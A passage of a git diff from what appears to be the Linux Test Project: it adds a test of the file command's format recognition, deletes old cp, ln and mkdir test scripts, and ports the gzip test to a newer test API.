+#
+# This program tests the file command. The tests are aimed at
+# testing if the file command can recognize some of the commonly
+# used file formats like, tar, tar.gz, rpm, C, ASCII, ELF etc.
+#
+TST_ID="file01"
+TST_CNT=20
+TST_SETUP=setup
+TST_TESTFUNC=do_test
+TST_NEEDS_TMPDIR=1
+. tst_test.sh
+
+setup()
+{
+	case $(readelf -h /bin/sh) in
+	*Data:*"big endian"*) TEST_ARCH=MSB;;
+	*Data:*"little endian"*) TEST_ARCH=LSB;;
+        *) tst_brk TBROK "Failed to determine CPU endianess";;
+	esac
+}
+
+file_test()
+{
+	local fname="$1"
+	local fpath
+	local i
+	shift
+
+	if ! [ -f "$fname" ]; then
+		fpath="$TST_DATAROOT/$fname"
+	else
+		fpath="$fname"
+	fi
+
+	EXPECT_PASS file "$fpath" \> file.out
+
+	while [ $# -gt 0 ]; do
+		if grep -q "$1" file.out; then
+			break
+		fi
+		shift
+	done
+
+	if [ $# -gt 0 ]; then
+		tst_res TPASS "$fname: recognized as $1"
+	else
+		tst_res TFAIL "$fname: was not recognized"
+		cat file.out
+	fi
+}
+
+do_test()
+{
+	case $1 in
+	 1) file_test in.txt "ASCII text";;
+	 2) file_test in.bash "Bourne-Again shell script";;
+	 3) file_test in.sh "POSIX shell script, ASCII text executable" \
+			    "POSIX shell script text executable" \
+			    "POSIX shell script text" \
+			    "Bourne shell script text executable";;
+	 4) file_test in.ksh "Korn shell script";;
+	 5) file_test in.csh "C shell script";;
+	 6) file_test in.c "ASCII C program text" "C source, ASCII text";;
+	 7) file_test in.pl "[pP]erl script, ASCII text executable" \
+			    "[pP]erl script text executable" \
+			    "a /usr/bin/perl script text";;
+	 8) file_test in.py "[pP]ython script, ASCII text executable" \
+			    "[pP]ython script text executable";;
+	 9) file_test in.m4 "M4 macro processor script, ASCII text" \
+			    "ASCII M4 macro language pre-processor text";;
+	10) file_test in "ELF .*-bit $TEST_ARCH executable, .*";;
+	11) file_test in.ar "current ar archive";;
+	12) file_test in.tar "tar archive";;
+    	13) file_test in.tar.gz "gzip compressed data, .*";;
+    	14) file_test in.tar.bz2 "bzip2 compressed data, .*";;
+	15) file_test in.src.rpm "RPM v3 src" "RPM v3.0 src";;
+	16) file_test in.jpg "JPEG image data";;
+	17) file_test in.png "PNG image data";;
+	18) file_test in.wav "RIFF (little-endian) data, WAVE audio, Microsoft PCM";;
+	19) file_test in.mp3 "MPEG ADTS, layer III";;
+	20) file_test in.zip "Zip archive data";;
+	esac
+}
+
+tst_run
diff --git a/testcases/commands/fileutils/cp/00_Descriptions.txt b/testcases/commands/fileutils/cp/00_Descriptions.txt
deleted file mode 100644
index 6c381e8..0000000
--- a/testcases/commands/fileutils/cp/00_Descriptions.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-test01
-	 cp -R can do a recursive copy
diff --git a/testcases/commands/fileutils/cp/cp_tests.sh b/testcases/commands/fileutils/cp/cp_tests.sh
deleted file mode 100755
index a4aaacb..0000000
--- a/testcases/commands/fileutils/cp/cp_tests.sh
+++ /dev/null
@@ -1,256 +0,0 @@
-#!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-#
-# File :        cp_test.sh
-#
-# Description:  Test basic functionality of cp command
-#				- Test #1:  cp -R can do a recursive copy
-#
-# Author:       Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:      Jan 30 2003 - Created - Manoj Iyer.
-#               Feb 03 2003 - Fixed expected output.
-#
-# Function:		init
-#
-# Description:	- Check if command cp is available.
-#               - Create temprary directory, and temporary files.
-#               - Initialize environment variables.
-#
-# Return		- zero on success
-#               - non zero on failure. return value from commands ($RC)
-init()
-{
-
-	RC=0				# Return code from commands.
-	export TST_TOTAL=1	# total numner of tests in this file.
-	export TCID=cp	# this is the init function.
-	export TST_COUNT=0	# init identifier,
-
-	if [ -z "$LTPTMP" ] && [ -z "$TMPBASE" ]
-	then
-		LTPTMP=/tmp
-	else
-		LTPTMP=$TMPBASE
-	fi
-	if [ -z "$LTPBIN" ] && [ -z "$LTPROOT" ]
-	then
-		LTPBIN=./
-	else
-		LTPBIN=$LTPROOT/testcases/bin
-	fi
-
-
-	$LTPBIN/tst_resm TINFO "INIT: Inititalizing tests."
-
-	which cp > $LTPTMP/tst_cp.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_brk TBROK $LTPTMP/tst_cp.err NULL \
-			"Test #1: cp command does not exist. Reason:"
-		return $RC
-	fi
-
-	mkdir -p $LTPTMP/tst_cp.tmp > $LTPTMP/tst_cp.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_brk TBROK $LTPTMP/tst_cp.err NULL \
-			"Test #1: failed creating temp directory. Reason:"
-		return $RC
-	fi
-	return $RC
-}
-
-# Function:		creat_dirnfiles
-#
-# Description:	- create N directories and fill each with M files
-#
-# Input:		$1 - test number
-#				$2 - number of directories to create
-#				$3 - number of file to create in each directory
-#				$4 - name of the base directory
-#
-# Return		- zero on success
-#               - non zero on failure. return value ($RC) from commands
-creat_dirnfiles()
-{
-    numdirs=$2	# number of directories to create
-    numfiles=$3 # number of file to create in each directory
-    dirname=$4  # name of the base directory
-	dircnt=0    # index into number of dirs created in loop
-	fcnt=0      # index into number of files created in loop
-	RC=0        # return value from commands
-
-	$LTPBIN/tst_resm TINFO "Test #$1: Creating $numdirs directories."
-	$LTPBIN/tst_resm TINFO "Test #$1: filling each dir with $numfiles files".
-	while [ $dircnt -lt $numdirs ]
-	do
-		dirname=$dirname/d.$dircnt
-        mkdir -p $dirname  > $LTPTMP/tst_cp.err 2>&1 || RC=$?
-		if [ $RC -ne 0 ]
-		then
-			$LTPBIN/tst_brk TBROK $LTPTMP/tst_cp.err NULL \
-			"Test #$1: while creating $numdirs dirs.  Reason"
-			return $RC
-		fi
-		fcnt=0
-        while [ $fcnt -lt $numfiles ]
-        do
-			touch $dirname/f.$fcnt
-			if [ $RC -ne 0 ]
-			then
-				$LTPBIN/tst_brk TBROK $LTPTMP/tst_cp.err NULL \
-				"Test #$1: while creating $numdirs dirs.  Reason"
-				return $RC
-			fi
-			fcnt=$(($fcnt+1))
-		done
-		dircnt=$(($dircnt+1))
-	done
-	return $RC
-}
-
-
-# Function:		creat_expout
-#
-# Description:	- create expected output
-#
-# Input:		$1 - number of directories to create
-#				$2 - number of file to create in each directory
-#				$3 - name of the base directory
-#
-# Return		- zero on success
-#               - non zero on failure. return value ($RC) from commands
-creat_expout()
-{
-	numdir=$1	# number of directories to create
-	numfile=$2  # number of file to create in each directory
-	dirname=$3  # name of the base directory
-    dircnt=0    # index into dir created in loop
-    fcnt=0      # index into files created in loop
-	RC=0        # return code from commands
-
-	echo "$dirname:"  1>>$LTPTMP/tst_cp.exp
-	echo "d.$dircnt"  1>>$LTPTMP/tst_cp.exp
-	while [ $dircnt -lt $numdirs ]
-	do
-		dirname=$dirname/d.$dircnt
-		dircnt=$(($dircnt+1))
-		echo "$dirname:"  1>>$LTPTMP/tst_cp.exp
-		if [ $dircnt -lt $numdirs ]
-		then
-			echo "d.$dircnt"  1>>$LTPTMP/tst_cp.exp
-		fi
-		fcnt=0
-        while [ $fcnt -lt $numfiles ]
-        do
-			echo "f.$fcnt " 1>>$LTPTMP/tst_cp.exp
-			fcnt=$(($fcnt+1))
-		done
-		printf "\n\n" 1>>$LTPTMP/tst_cp.exp
-	done
-}
-
-# Function:		test01
-#
-# Description	- Test #1: Test that cp -R will copy will copy directories
-#                 recursively.
-#               - create N directories and fill each with M files.
-#               - cp -R dir1 to dir2
-#               - list contents of dir2 and save it to file - actual output
-#               - create expected output
-#               - compare expected output with actual output.
-#
-# Return		- zero on success
-#               - non zero on failure. return value from commands ($RC)
-
-test01()
-{
-	RC=0				# Return value from commands.
-	export TCID=cp01	# Name of the test case.
-	export TST_COUNT=1	# Test number.
-	numdirs=10
-	numfiles=10
-	dircnt=0
-    fcnt=0
-
-	$LTPBIN/tst_resm TINFO \
-		"Test #1: cp -R will recursively cp contents of directory"
-
-	creat_dirnfiles 1 $numdirs $numfiles $LTPTMP/tst_cp.tmp || RC=$?
-    if [ $RC -ne 0 ]
-	then
-		return $RC
-	fi
-
-	cp -R $LTPTMP/tst_cp.tmp $LTPTMP/tst_cp.tmp1 > $LTPTMP/tst_cp.err 2>&1 || RC=$?
-    if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_res TFAIL $LTPTMP/tst_cp.err \
-		"Test #1: cp -R failed, cp command  returned $RC. Reason:"
-		return $RC
-	fi
-
-	$LTPBIN/tst_resm TINFO "Test #1: creating output file"
-	ls -R $LTPTMP/tst_cp.tmp1 > $LTPTMP/tst_cp.out 2>&1
-
-	$LTPBIN/tst_resm TINFO "Test #1: creating expected output file"
-	creat_expout $numdirs $numfiles $LTPTMP/tst_cp.tmp1
-
-	$LTPBIN/tst_resm TINFO \
-	    "Test #1: comparing expected out and actual output file"
-	diff -w -B -q $LTPTMP/tst_cp.out $LTPTMP/tst_cp.exp > $LTPTMP/tst_cp.err 2>&1 \
-		|| RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_res TFAIL $LTPTMP/tst_cp.err \
-			"Test #1: cp -R failed. Reason:"
-	else
-		$LTPBIN/tst_resm TINFO "Test #1: expected same as actual"
-		$LTPBIN/tst_resm TPASS "Test #1: cp -R success"
-	fi
-	return $RC
-}
-
-
-# Function:		main
-#
-# Description:	- Execute all tests, report results.
-#
-# Exit:			- zero on success
-# 				- non-zero on failure.
-
-
-TFAILCNT=0			# Set TFAILCNT to 0, increment on failure.
-RC=0				# Return code from tests.
-
-init || return $RC	# Exit if initializing testcases fails.
-
-test01 || RC=$?
-if [ $RC -ne 0 ]
-then
-	TFAILCNT=$(($TFAILCNT+1))
-fi
-
-
-rm -fr $LTPTMP/tst_cp.*
-
-exit $TFAILCNT
diff --git a/testcases/commands/fileutils/ln/ln_tests.sh b/testcases/commands/fileutils/ln/ln_tests.sh
deleted file mode 100755
index 9d301fe..0000000
--- a/testcases/commands/fileutils/ln/ln_tests.sh
+++ /dev/null
@@ -1,261 +0,0 @@
-#!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-#
-# File :        ln_test.sh
-#
-# Description:  Test basic functionality of ln command
-#				- Test #1:  ln -s make symbolic links instead of hard links
-#
-# Author:       Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:      Feb 03 2003 - Created, Manoj Iyer
-#
-# Function:		init
-#
-# Description:	- Check if command ln is available.
-#               - Create temprary directory, and temporary files.
-#               - Initialize environment variables.
-#
-# Return		- zero on success
-#               - non zero on failure. return value from commands ($RC)
-init()
-{
-
-	RC=0				# Return code from commands.
-	export TST_TOTAL=1	# total numner of tests in this file.
-	export TCID=ln	# this is the init function.
-	export TST_COUNT=0	# init identifier,
-
-	if [ -z "$LTPTMP" ] && [ -z "$TMPBASE" ]
-	then
-		LTPTMP=/tmp
-	else
-		LTPTMP=$TMPBASE
-	fi
-	if [ -z "$LTPBIN" ] && [ -z "$LTPROOT" ]
-	then
-		LTPBIN=./
-	else
-		LTPBIN=$LTPROOT/testcases/bin
-	fi
-
-
-	$LTPBIN/tst_resm TINFO "INIT: Inititalizing tests."
-
-	which ln > $LTPTMP/tst_ln.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_brk TBROK $LTPTMP/tst_ln.err NULL \
-			"Test #1: ln command does not exist. Reason:"
-		return $RC
-	fi
-
-	mkdir -p $LTPTMP/tst_ln.tmp > $LTPTMP/tst_ln.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_brk TBROK $LTPTMP/tst_ln.err NULL \
-			"Test #1: failed creating temp directory. Reason:"
-		return $RC
-	fi
-	return $RC
-}
-
-# Function:		creat_dirnfiles
-#
-# Description:	- create N directories and fill each with M files
-#
-# Input:		$1 - test number
-#				$2 - number of directories to create
-#				$3 - number of file to create in each directory
-#				$4 - name of the base directory
-#
-# Return		- zero on success
-#               - non zero on failure. return value ($RC) from commands
-creat_dirnfiles()
-{
-    numdirs=$2	# number of directories to create
-    numfiles=$3 # number of file to create in each directory
-    dirname=$4  # name of the base directory
-	dircnt=0    # index into number of dirs created in loop
-	fcnt=0      # index into number of files created in loop
-	RC=0        # return value from commands
-
-	$LTPBIN/tst_resm TINFO "Test #$1: Creating $numdirs directories."
-	$LTPBIN/tst_resm TINFO "Test #$1: filling each dir with $numfiles files".
-	while [ $dircnt -lt $numdirs ]
-	do
-		dirname=$dirname/d.$dircnt
-        mkdir -p $dirname  > $LTPTMP/tst_ln.err 2>&1 || RC=$?
-		if [ $RC -ne 0 ]
-		then
-			$LTPBIN/tst_brk TBROK $LTPTMP/tst_ln.err NULL \
-			"Test #$1: while creating $numdirs dirs.  Reason"
-			return $RC
-		fi
-		fcnt=0
-        while [ $fcnt -lt $numfiles ]
-        do
-			touch $dirname/f.$fcnt
-			if [ $RC -ne 0 ]
-			then
-				$LTPBIN/tst_brk TBROK $LTPTMP/tst_ln.err NULL \
-				"Test #$1: while creating $numdirs dirs.  Reason"
-				return $RC
-			fi
-			fcnt=$(($fcnt+1))
-		done
-		dircnt=$(($dircnt+1))
-	done
-	return $RC
-}
-
-
-# Function:		creat_expout
-#
-# Description:	- create expected output
-#
-# Input:		$1 - number of directories to create
-#				$2 - number of file to create in each directory
-#				$3 - name of the base directory
-#
-# Return		- zero on success
-#               - non zero on failure. return value ($RC) from commands
-creat_expout()
-{
-	numdir=$1	# number of directories to create
-	numfile=$2  # number of file to create in each directory
-	dirname=$3  # name of the base directory
-    dircnt=0    # index into dir created in loop
-    fcnt=0      # index into files created in loop
-	RC=0        # return code from commands
-
-	echo "$dirname:"  1>>$LTPTMP/tst_ln.exp
-	echo "d.$dircnt"  1>>$LTPTMP/tst_ln.exp
-	while [ $dircnt -lt $numdirs ]
-	do
-		dirname=$dirname/d.$dircnt
-		dircnt=$(($dircnt+1))
-		echo "$dirname:"  1>>$LTPTMP/tst_ln.exp
-		if [ $dircnt -lt $numdirs ]
-		then
-			echo "d.$dircnt"  1>>$LTPTMP/tst_ln.exp
-		fi
-		fcnt=0
-        while [ $fcnt -lt $numfiles ]
-        do
-			echo "f.$fcnt " 1>>$LTPTMP/tst_ln.exp
-			fcnt=$(($fcnt+1))
-		done
-		printf "\n\n" 1>>$LTPTMP/tst_ln.exp
-	done
-}
-
-# Function:		test01
-#
-# Description	- Test #1: Test that ln -s will copy will copy directories
-#                 recursively.
-#               - create N directories and fill each with M files.
-#               - ln -s dir1 to dir2
-#               - list contents of dir2 and save it to file - actual output
-#               - create expected output from dir1
-#               - compare expected output with actual output.
-#
-# Return		- zero on success
-#               - non zero on failure. return value from commands ($RC)
-
-test01()
-{
-	RC=0				# Return value from commands.
-	export TCID=ln01	# Name of the test case.
-	export TST_COUNT=1	# Test number.
-	numdirs=10
-	numfiles=10
-	dircnt=0
-    fcnt=0
-
-	$LTPBIN/tst_resm TINFO \
-		"Test #1: ln -s will make symbolic links instead of hard links"
-
-	creat_dirnfiles 1 $numdirs $numfiles $LTPTMP/tst_ln.tmp || RC=$?
-    if [ $RC -ne 0 ]
-	then
-		return $RC
-	fi
-
-	ln -s $LTPTMP/tst_ln.tmp $LTPTMP/tst_ln.tmp1 > $LTPTMP/tst_ln.err 2>&1 || RC=$?
-    if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_res TFAIL $LTPTMP/tst_ln.err \
-		"Test #1: ln -s failed, ln command  returned $RC. Reason:"
-		return $RC
-	fi
-
-	$LTPBIN/tst_resm TINFO "Test #1: creating output file"
-	ls -R $LTPTMP/tst_ln.tmp1 > $LTPTMP/tst_ln.out 2>&1
-
-	$LTPBIN/tst_resm TINFO "Test #1: creating expected output file"
-	creat_expout $numdirs $numfiles $LTPTMP/tst_ln.tmp1
-
-	$LTPBIN/tst_resm TINFO \
-	    "Test #1: comparing expected out and actual output file"
-	diff -w -B $LTPTMP/tst_ln.out $LTPTMP/tst_ln.exp > $LTPTMP/tst_ln.err 2>&1 \
-		|| RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_res TFAIL $LTPTMP/tst_ln.err \
-			"Test #1: ln -s failed. Reason:"
-	else
-		$LTPBIN/tst_resm TINFO "Test #1: expected same as actual"
-		if [ -L $LTPTMP/tst_ln.tmp1 ]
-		then
-			$LTPBIN/tst_resm TPASS "Test #1: ln -s success"
-		else
-			$LTPBIN/tst_resm TFAIL "Test #1: $LTPTMP/tst_ln.tmp1 not a link"
-			return $(($RC+1))
-	    fi
-	fi
-	return $RC
-}
-
-
-# Function:		main
-#
-# Description:	- Execute all tests, report results.
-#
-# Exit:			- zero on success
-# 				- non-zero on failure.
-
-
-TFAILCNT=0			# Set TFAILCNT to 0, increment on failure.
-RC=0				# Return code from tests.
-
-init || return $RC	# Exit if initializing testcases fails.
-
-test01 || RC=$?
-if [ $RC -ne 0 ]
-then
-	TFAILCNT=$(($TFAILCNT+1))
-fi
-
-
-rm -fr $LTPTMP/tst_ln.*
-
-exit $TFAILCNT
diff --git a/testcases/commands/fileutils/mkdir/00_Descriptions.txt b/testcases/commands/fileutils/mkdir/00_Descriptions.txt
deleted file mode 100644
index f70ccd0..0000000
--- a/testcases/commands/fileutils/mkdir/00_Descriptions.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-test01
-	mkdir -p can make parent directories as needed
diff --git a/testcases/commands/fileutils/mkdir/mkdir_tests.sh b/testcases/commands/fileutils/mkdir/mkdir_tests.sh
deleted file mode 100755
index a5739e4..0000000
--- a/testcases/commands/fileutils/mkdir/mkdir_tests.sh
+++ /dev/null
@@ -1,220 +0,0 @@
-#!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-#
-# File :        mkdir_test.sh
-#
-# Description:  Test basic functionality of mkdir command
-#				- Test #1:  mkdir -p can make parent directories as needed
-#
-# Author:       Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:      Feb 03 2003 - Created - Manoj Iyer.
-#
-# Function:		init
-#
-# Description:	- Check if command mkdir is available.
-#               - Create temprary directory, and temporary files.
-#               - Initialize environment variables.
-#
-# Return		- zero on success
-#               - non zero on failure. return value from commands ($RC)
-init()
-{
-
-	RC=0				# Return code from commands.
-	export TST_TOTAL=1	# total numner of tests in this file.
-	export TCID=mkdir	# this is the init function.
-	export TST_COUNT=0	# init identifier,
-
-	if [ -z "$LTPTMP" ] && [ -z "$TMPBASE" ]
-	then
-		LTPTMP=/tmp
-	else
-		LTPTMP=$TMPBASE
-	fi
-	if [ -z "$LTPBIN" ] && [ -z "$LTPROOT" ]
-	then
-		LTPBIN=./
-	else
-		LTPBIN=$LTPROOT/testcases/bin
-	fi
-
-
-	$LTPBIN/tst_resm TINFO "INIT: Inititalizing tests."
-
-	which mkdir > $LTPTMP/tst_mkdir.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_brk TBROK $LTPTMP/tst_mkdir.err NULL \
-			"Test #1: mkdir command does not exist. Reason:"
-		return $RC
-	fi
-
-	mkdir -p $LTPTMP/tst_mkdir.tmp > $LTPTMP/tst_mkdir.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_brk TBROK $LTPTMP/tst_mkdir.err NULL \
-			"Test #1: failed creating temp directory. Reason:"
-		return $RC
-	fi
-	return $RC
-}
-
-
-# Function:		creat_expout
-#
-# Description:	- create expected output
-#
-# Input:		$1 - number of directories to create
-#				$2 - number of file to create in each directory
-#				$3 - name of the base directory
-#
-# Return		- zero on success
-#               - non zero on failure. return value ($RC) from commands
-creat_expout()
-{
-	numdir=$1	# number of directories to create
-	numfile=$2  # number of file to create in each directory
-	dirname=$3  # name of the base directory
-    dircnt=0    # index into dir created in loop
-    fcnt=0      # index into files created in loop
-	RC=0        # return code from commands
-
-	echo "$dirname:"  1>>$LTPTMP/tst_mkdir.exp
-	echo "d.$dircnt"  1>>$LTPTMP/tst_mkdir.exp
-	while [ $dircnt -lt $numdirs ]
-	do
-		dirname=$dirname/d.$dircnt
-		dircnt=$(($dircnt+1))
-		echo "$dirname:"  1>>$LTPTMP/tst_mkdir.exp
-		if [ $dircnt -lt $numdirs ]
-		then
-			echo "d.$dircnt"  1>>$LTPTMP/tst_mkdir.exp
-		fi
-		fcnt=0
-        while [ $fcnt -lt $numfiles ]
-        do
-			echo "f.$fcnt " 1>>$LTPTMP/tst_mkdir.exp
-			fcnt=$(($fcnt+1))
-		done
-		printf "\n\n" 1>>$LTPTMP/tst_mkdir.exp
-	done
-}
-
-# Function:		test01
-#
-# Description	- Test #1: Test that mkdir -p creates parent directories as
-#                 needed
-#               - create N directories and fill each with M files.
-#               - mkdir -p dir
-#               - list contents of dir and save it to file - actual output
-#               - create expected output
-#               - compare expected output with actual output.
-#
-# Return		- zero on success
-#               - non zero on failure. return value from commands ($RC)
-
-test01()
-{
-	RC=0				# Return value from commands.
-	export TCID=mkdir01	# Name of the test case.
-	export TST_COUNT=1	# Test number.
-	numdirs=10
-	numfiles=10
-	dircnt=0
-    fcnt=0
-
-	$LTPBIN/tst_resm TINFO \
-		"Test #1: mkdir -p will recursively mkdir contents of directory"
-
-	dirname=$LTPTMP/tst_mkdir.tmp
-	$LTPBIN/tst_resm TINFO "Test #1: Creating $numdirs directories."
-	$LTPBIN/tst_resm TINFO "Test #1: filling each dir with $numfiles files".
-	while [ $dircnt -lt $numdirs ]
-	do
-		dirname=$dirname/d.$dircnt
-        mkdir -p $dirname  > $LTPTMP/tst_mkdir.err 2>&1 || RC=$?
-		if [ $RC -ne 0 ]
-		then
-			$LTPBIN/tst_res TFAIL $LTPTMP/tst_mkdir.err \
-				"Test #1: mkdir -p $dirname failed. Reason:"
-			return $RC
-		fi
-		fcnt=0
-        while [ $fcnt -lt $numfiles ]
-        do
-			touch $dirname/f.$fcnt
-			if [ $RC -ne 0 ]
-			then
-				$LTPBIN/tst_brk TBROK $LTPTMP/tst_mkdir.err NULL \
-				"Test #1: while creating $numdirs dirs.  Reason"
-				return $RC
-			fi
-			fcnt=$(($fcnt+1))
-		done
-		dircnt=$(($dircnt+1))
-	done
-
-	$LTPBIN/tst_resm TINFO "Test #1: creating output file"
-	ls -R $LTPTMP/tst_mkdir.tmp > $LTPTMP/tst_mkdir.out 2>&1
-
-	$LTPBIN/tst_resm TINFO "Test #1: creating expected output file"
-	creat_expout $numdirs $numfiles $LTPTMP/tst_mkdir.tmp
-
-	$LTPBIN/tst_resm TINFO \
-	    "Test #1: comparing expected out and actual output file"
-	diff -w -B -q $LTPTMP/tst_mkdir.out $LTPTMP/tst_mkdir.exp \
-		> $LTPTMP/tst_mkdir.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_res TFAIL $LTPTMP/tst_mkdir.err \
-			"Test #1: mkdir -p failed. Reason:"
-	else
-		$LTPBIN/tst_resm TINFO "Test #1: expected same as actual"
-		$LTPBIN/tst_resm TPASS "Test #1: mkdir -R success"
-	fi
-	return $RC
-}
-
-
-# Function:		main
-#
-# Description:	- Execute all tests, report results.
-#
-# Exit:			- zero on success
-# 				- non-zero on failure.
-
-
-TFAILCNT=0			# Set TFAILCNT to 0, increment on failure.
-RC=0				# Return code from tests.
-
-init || return $RC	# Exit if initializing testcases fails.
-
-test01 || RC=$?
-if [ $RC -ne 0 ]
-then
-	TFAILCNT=$(($TFAILCNT+1))
-fi
-
-
-rm -fr $LTPTMP/tst_mkdir.*
-
-exit $TFAILCNT
diff --git a/testcases/commands/gzip/Makefile b/testcases/commands/gzip/Makefile
index 5c1c256..502781b 100644
--- a/testcases/commands/gzip/Makefile
+++ b/testcases/commands/gzip/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/gzip/gzip_tests.sh b/testcases/commands/gzip/gzip_tests.sh
index 1577bcf..1cd5275 100755
--- a/testcases/commands/gzip/gzip_tests.sh
+++ b/testcases/commands/gzip/gzip_tests.sh
@@ -28,32 +28,12 @@
 #			    uncompress all the files available.
 #
 
-TCID=gzip
-TST_TOTAL=2
-. test.sh
-
-setup()
-{
-	tst_check_cmds gzip
-
-	tst_check_cmds gunzip
-
-	tst_tmpdir
-
-	tst_resm TINFO "INIT: Inititalizing tests"
-
-	ROD_SILENT mkdir -p tst_gzip.tmp
-}
-
-cleanup()
-{
-        tst_rmdir
-}
-
-cleanup_test()
-{
-	ROD_SILENT rm -rf tst_gzip.tmp/*
-}
+TST_ID="gzip"
+TST_CNT=2
+TST_TESTFUNC=test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="gzip gunzip"
+. tst_test.sh
 
 creat_dirnfiles()
 {
@@ -63,16 +43,14 @@
 	local dircnt=0
 	local fcnt=0
 
-	tst_resm TINFO "Test #$1: Creating $numdirs directories"
-	tst_resm TINFO "Test #$1: filling each dir with $numfiles files"
-	while [ $dircnt -lt $numdirs ]
-	do
+	tst_res TINFO "Test #$1: Creating $numdirs directories"
+	tst_res TINFO "Test #$1: filling each dir with $numfiles files"
+	while [ $dircnt -lt $numdirs ]; do
 		dirname=$dirname/d.$dircnt
 		ROD_SILENT mkdir -p $dirname
 
 		fcnt=0
-		while [ $fcnt -lt $numfiles ]
-		do
+		while [ $fcnt -lt $numfiles ]; do
 			ROD_SILENT touch $dirname/f.$fcnt
 			fcnt=$(($fcnt+1))
 		done
@@ -91,18 +69,15 @@
 
 	echo "$dirname:"  1> tst_gzip.exp
 	echo "d.$dircnt"  1>> tst_gzip.exp
-	while [ $dircnt -lt $numdirs ]
-	do
+	while [ $dircnt -lt $numdirs ]; do
 		dirname=$dirname/d.$dircnt
 		dircnt=$(($dircnt+1))
 		echo "$dirname:"  1>> tst_gzip.exp
-		if [ $dircnt -lt $numdirs ]
-		then
+		if [ $dircnt -lt $numdirs ]; then
 			echo "d.$dircnt"  1>> tst_gzip.exp
 		fi
 		fcnt=0
-		while [ $fcnt -lt $numfiles ]
-		do
+		while [ $fcnt -lt $numfiles ]; do
 			echo "f.$fcnt$ext " 1>> tst_gzip.exp
 			fcnt=$(($fcnt+1))
 		done
@@ -110,97 +85,87 @@
 	done
 }
 
-test01()
+test1()
 {
 	numdirs=10
 	numfiles=10
 	dircnt=0
 	fcnt=0
 
-	tst_resm TINFO "Test #1: gzip -r will recursively compress contents" \
+	ROD_SILENT mkdir tst_gzip.tmp
+
+	tst_res TINFO "Test #1: gzip -r will recursively compress contents" \
 			"of directory"
 
 	creat_dirnfiles 1 $numdirs $numfiles tst_gzip.tmp
 
 	gzip -r tst_gzip.tmp > tst_gzip.err 2>&1
-	if [ $? -ne 0 ]
-	then
+	if [ $? -ne 0 ]; then
 		cat tst_gzip.err
-		tst_brkm TFAIL "Test #1: gzip -r failed"
+		tst_brk TFAIL "Test #1: gzip -r failed"
 	fi
 
-	tst_resm TINFO "Test #1: creating output file"
+	tst_res TINFO "Test #1: creating output file"
 	ls -R tst_gzip.tmp > tst_gzip.out 2>&1
 
-	tst_resm TINFO "Test #1: creating expected output file"
+	tst_res TINFO "Test #1: creating expected output file"
 	creat_expout $numdirs $numfiles tst_gzip.tmp .gz
 
-	tst_resm TINFO "Test #1: comparing expected out and actual" \
-			"output file"
 	diff -w -B tst_gzip.out tst_gzip.exp > tst_gzip.err 2>&1
